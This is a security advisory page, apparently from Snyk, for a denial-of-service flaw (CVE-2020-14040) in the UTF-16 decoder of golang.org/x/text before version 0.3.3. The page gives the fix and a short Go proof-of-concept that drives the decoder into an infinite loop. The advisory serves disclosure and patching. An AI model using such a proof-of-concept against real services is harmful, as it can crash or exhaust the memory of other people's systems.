Denial of Service (DoS) Affecting golang.org/x/text/encoding/unicode package, versions <0.3.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.12% (47th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GOLANGORGXTEXTENCODINGUNICODE-609611
  • published3 Sept 2020
  • disclosed9 Jun 2020
  • creditEvgeny Kapun

Introduced: 9 Jun 2020

CVE-2020-14040  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade golang.org/x/text/encoding/unicode to version 0.3.3 or higher.

Overview

golang.org/x/text/encoding/unicode is an unicode package provides Unicode encodings such as UTF-16.

Affected versions of this package are vulnerable to Denial of Service (DoS). It is possible to exploit the UTF-16 decoder into entering an infinite loop, causing the program to crash or run out of memory.

PoC

package main

import ( "fmt" "golang.org/x/text/encoding/unicode" ) func main() { res, err := unicode.UTF16(unicode.BigEndian, unicode.UseBOM).NewDecoder().String(" ") fmt.Println(res, err) }

CVSS Scores

version 3.1